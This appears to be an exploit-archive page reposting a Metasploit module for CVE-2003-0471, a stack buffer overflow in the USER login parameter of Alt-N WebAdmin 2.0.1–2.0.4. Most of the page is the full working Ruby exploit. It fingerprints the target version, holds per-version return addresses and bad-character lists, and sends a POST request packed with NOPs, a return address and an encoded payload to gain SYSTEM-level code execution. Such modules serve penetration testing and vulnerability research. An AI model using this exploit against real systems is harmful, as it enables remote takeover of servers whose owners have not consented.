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Alt-N WebAdmin USER Buffer Overflow

Alt-N WebAdmin USER Buffer Overflow
Posted Nov 26, 2009
Authored by MC | Site metasploit.com

Alt-N WebAdmin is prone to a buffer overflow condition. This is due to insufficient bounds checking on the USER parameter. Successful exploitation could result in code execution with SYSTEM level privileges.

tags | exploit, overflow, code execution
advisories | CVE-2003-0471
SHA-256 | 07321bfe13486c72db95bf9c5992da051b5fe4111a96286914e261a01257e730

Alt-N WebAdmin USER Buffer Overflow

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Alt-N WebAdmin USER Buffer Overflow',
'Description' => %q{
Alt-N WebAdmin is prone to a buffer overflow condition. This
is due to insufficient bounds checking on the USER
parameter. Successful exploitation could result in code
execution with SYSTEM level privileges.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2003-0471' ],
[ 'OSVDB', '2207' ],
[ 'BID', '8024'],
[ 'NSS', '11771'],

],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 830,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,

},
'Platform' => 'win',
'Targets' =>
[
['WebAdmin 2.0.4 Universal', { 'Ret' => 0x10074d9b }], # 2.0.4 webAdmin.dll
['WebAdmin 2.0.3 Universal', { 'Ret' => 0x10074b13 }], # 2.0.3 webAdmin.dll
['WebAdmin 2.0.2 Universal', { 'Ret' => 0x10071e3b }], # 2.0.2 webAdmin.dll
['WebAdmin 2.0.1 Universal', { 'Ret' => 0x100543c2 }], # 2.0.1 webAdmin.dll
],
'DisclosureDate' => 'Jun 24 2003'))

register_options([Opt::RPORT(1000)], self.class)
end

# Identify the target based on the WebAdmin version number
def autofilter
res = send_request_raw({
'uri' => '/WebAdmin.DLL'
}, -1)

if (res and res.body =~ /WebAdmin.*v(2\..*)$/)
case $1
when /2\.0\.4/
datastore['TARGET'] = 0
when /2\.0\.3/
datastore['TARGET'] = 1
when /2\.0\.2/
datastore['TARGET'] = 2
when /2\.0\.1/
datastore['TARGET'] = 3
else
return false
end

return true
end

# Not vulnerable
return false
end

def exploit

user_cook = rand_text_alphanumeric(2)
post_data = 'User=' + make_nops(168) + [target.ret].pack('V') + payload.encoded
post_data << '&Password=wtf&languageselect=en&Theme=Heavy&Logon=Sign+In'

print_status("Sending request...")
res = send_request_cgi({
'uri' => '/WebAdmin.DLL',
'query' => 'View=Logon',
'method' => 'POST',
'content-type' => 'application/x-www-form-urlencoded',
'cookie' => "User=#{user_cook}; Lang=en; Theme=standard",
'data' => post_data,
'headers' =>
{
'Accept' => 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png',
'Accept-Language' => 'en',
'Accept-Charset' => 'iso-8859-1,*,utf-8'
}
}, 5)

handler
end

end
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